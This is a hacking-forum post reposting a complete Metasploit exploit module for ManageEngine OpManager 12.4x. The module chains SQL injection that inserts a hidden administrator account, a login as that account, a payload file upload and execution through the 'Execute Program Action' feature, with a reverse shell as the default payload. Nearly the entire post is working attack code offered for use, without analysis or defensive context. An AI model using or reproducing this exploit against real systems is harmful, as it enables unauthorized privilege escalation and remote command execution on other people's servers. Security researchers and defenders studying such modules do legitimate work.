Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)

 Share


HACK1949

Recommended Posts

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
 
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
 
  include Msf::Exploit::Remote::HttpClient
 
  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution",
      'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the OpManager v12.4.034 and prior versions.
 
        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
        Therefore low authority user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager Plugin.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////

      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
      'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-OpManager-v12-4-Privilege-Escalation-Remote-Command-Execution.html' ]
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 60,
          'RPORT' => 8060,
          'SSL' => false,
          'PAYLOAD' => 'generic/shell_reverse_tcp'
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['unix', 'win'],
      'Targets' =>
        [
          [ 'Windows Target',
            {
              'Platform' => ['win'],
              'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
              'Platform' => ['unix'],
              'Arch' => ARCH_CMD,
              'Payload' =>
                {
                  'Compat' =>
                    {
                      'PayloadType' => 'cmd',
                    }
                }
            }
          ]
        ],
      'DisclosureDate' => '10 August 2019 //DEFCON',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'OpManager Username']),
        OptString.new('PASSWORD',  [true, 'OpManager Password']),
        OptString.new('TARGETURI',  [true, 'Base path for ME application', '/'])
      ],self.class)
  end

  def check_platform(host, port, cookie)

    res = send_request_cgi(
      'rhost'   => host,
      'rport'   => port,
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
      'cookie'  => cookie,
      'vars_get' => {
        'TileName' => '.ExecProg',
        'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(host, port, cookie, platform, @dir)
  end

  def file_up(host, port, cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /awk 'BEGIN{/
        filex = ".sh"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end
 
    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")
 
    res = send_request_cgi({
      'rhost'   => host,
      'rport'   => port,
      'method' => 'POST',    
      'data'  => data.to_s,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri, "Upload.do")     
    })
 
    if res && res.code == 200 && res.body.include?('icon_message_success')
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(host, port, cookie, dir, @fname)
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end

  def create_exec_prog(host, port, cookie, dir, fname)
 
    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
      'method'  => 'POST',
      'rhost'   => host,
      'rport'   => port,
      'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
      'cookie'  => cookie,
      'vars_post' => {
        'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
        'method' => 'createExecProgAction',
        'id' => 0,
        'displayname' => @display,
        'serversite' => 'local',
        'choosehost' => -2,
        'abortafter' => 5,
        'command' => fname,
        'execProgExecDir' => dir,
        'cancel' => 'false'
      }
    )
 
    if res && res.code == 200 && res.body.include?('icon_message_success')
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(host, port, cookie, actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
  end

  def exec(host, port, cookie, action)
    send_request_cgi(
      'method'  => 'GET',
      'rhost'   => host,
      'rport'   => port,
      'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
      'cookie'  => cookie,
      'vars_get' => {
        'method' => 'testAction',
        'actionID' => action,
        'haid' => 'null'
      }
    )
  end
 
  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end
 
  def print_status(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_error(msg='')
    super("#{peer} - #{msg}")
  end
 
  def print_good(msg='')
    super("#{peer} - #{msg}")
  end 

  def check

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )
    # For this part the build control will be placed.
    # For now, AppManager plugin control is sufficient.
    if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
      return Exploit::CheckCode::Vulnerable
    else 
      return Exploit::CheckCode::Safe
    end
  end

  def app_login

    res = send_request_cgi(
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )
    
    appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
    am_host = appm_adr.split('://')[1].split(':')[0]
    am_port = appm_adr.split('://')[1].split(':')[1]


    if res && res.code == 200 && res.body.include?('.loginForm')
      @cookie = res.get_cookies

      res = send_request_cgi(
        'rhost'   => am_host,
        'rport'   => am_port,
        'method'  => 'GET',
        'cookie'  => @cookie,
        'uri'     =>  '/Logout.do?showPreLogin=true',
      )

      appm_cookie = 'JSESSIONID_APM_' << res.headers['set-cookie'].split('JSESSIONID_APM_')[1].split('; ')[0]
    else
      print_error("APM Plugin does not working!")
    end

    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'j_security_check'),
      'vars_post' => {
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD']
      }
    )

    if res && res.code == 302
      print_good("Successful login OPM with user : #{datastore['USERNAME']}")
      @cookie = res.get_cookies
      saltcookie = res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]

      res = send_request_cgi(
        'method'  => 'GET',
        'uri'     =>  normalize_uri(target_uri.path, ';jsessionid=' + saltcookie),
        'cookie'  => @cookie,
      )
      @cookie = res.get_cookies

      res = send_request_cgi(
        'method'  => 'GET',
        'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'index.jsp'),
        'cookie'  => @cookie,
      )
      cookie = @cookie + " " + res.get_cookies

      res = send_request_cgi(
        'rhost'   => am_host,
        'rport'   => am_port,
        'method'  => 'GET',
        'uri'     =>  normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']),
        'cookie'  => cookie
      )

      @cookie = cookie + " " + res.get_cookies 

      res = send_request_cgi(
        'method'  => 'POST',
        'rhost'   => am_host,
        'rport'   => am_port,
        'cookie'   => @cookie,
        'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
        'vars_post' => {
          'j_username' => datastore['USERNAME'],
          'j_password' => datastore['USERNAME'] + "@opm",
          'submit' => 'Login'
        }
      )

      res = send_request_cgi(
        'rhost'   => am_host,
        'rport'   => am_port,
        'method'  => 'GET',
        'uri'     =>  normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']),
        'cookie'   => @cookie
      )
      
      @cookies = @cookie + " " + res.get_cookies
      send_sqli(am_host, am_port, @cookies, @cookie)

    else
      fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    app_login
  end

  def send_sqli(host, port, cookies, cookie)

    @uname = Rex::Text.rand_text_alpha_lower(6)
    uid = rand_text_numeric(3)
    apk = rand_text_numeric(6) 
    @pwd = rand_text_alphanumeric(8+rand(9))
    @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
    pg_user ="" 
    pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
    pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
    pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
    ms_user =""
    ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
    ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
    ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"

    res = send_request_cgi(
      'rhost'   => host,
      'rport'   => port,
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
      'cookie'   => cookies
    )

    res = send_request_cgi(
      'rhost'   => host,
      'rport'   => port,
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
      'cookie'   => cookies
    )

    res = send_request_cgi(
      'rhost'   => host,
      'rport'   => port,
      'method'  => 'GET',
      'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    if res && res.code == 200 && res.body.include?('.loginDiv')
      @cookie = res.get_cookies

      res = send_request_cgi(
        'method'  => 'POST',
        'rhost'   => host,
        'rport'   => port,
        'cookie'   => @cookie,
        'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
        'vars_post' => {
          'clienttype' => 'html',
          'j_username' => @uname,
          'j_password' => @pwd,
          'submit' => 'Login'
        }
      )

      if res && res.code == 302 && res.body.include?('Redirecting to')
        print_good("Privilege Escalation was successfully performed.")
        print_good("New APM admin username = " + @uname)
        print_good("New APM admin password = " + @pwd)
        res = send_request_cgi(
          'rhost'   => host,
          'rport'   => port,
          'cookie'  => @cookie,
          'method'  => 'GET',
          'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
        )

        @cookie = res.get_cookies
        check_platform(host, port, @cookie)
      else
        fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
      end
    else
      fail_with(Failure::NotVulnerable, 'Something went wrong!')
    end
  end
end
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...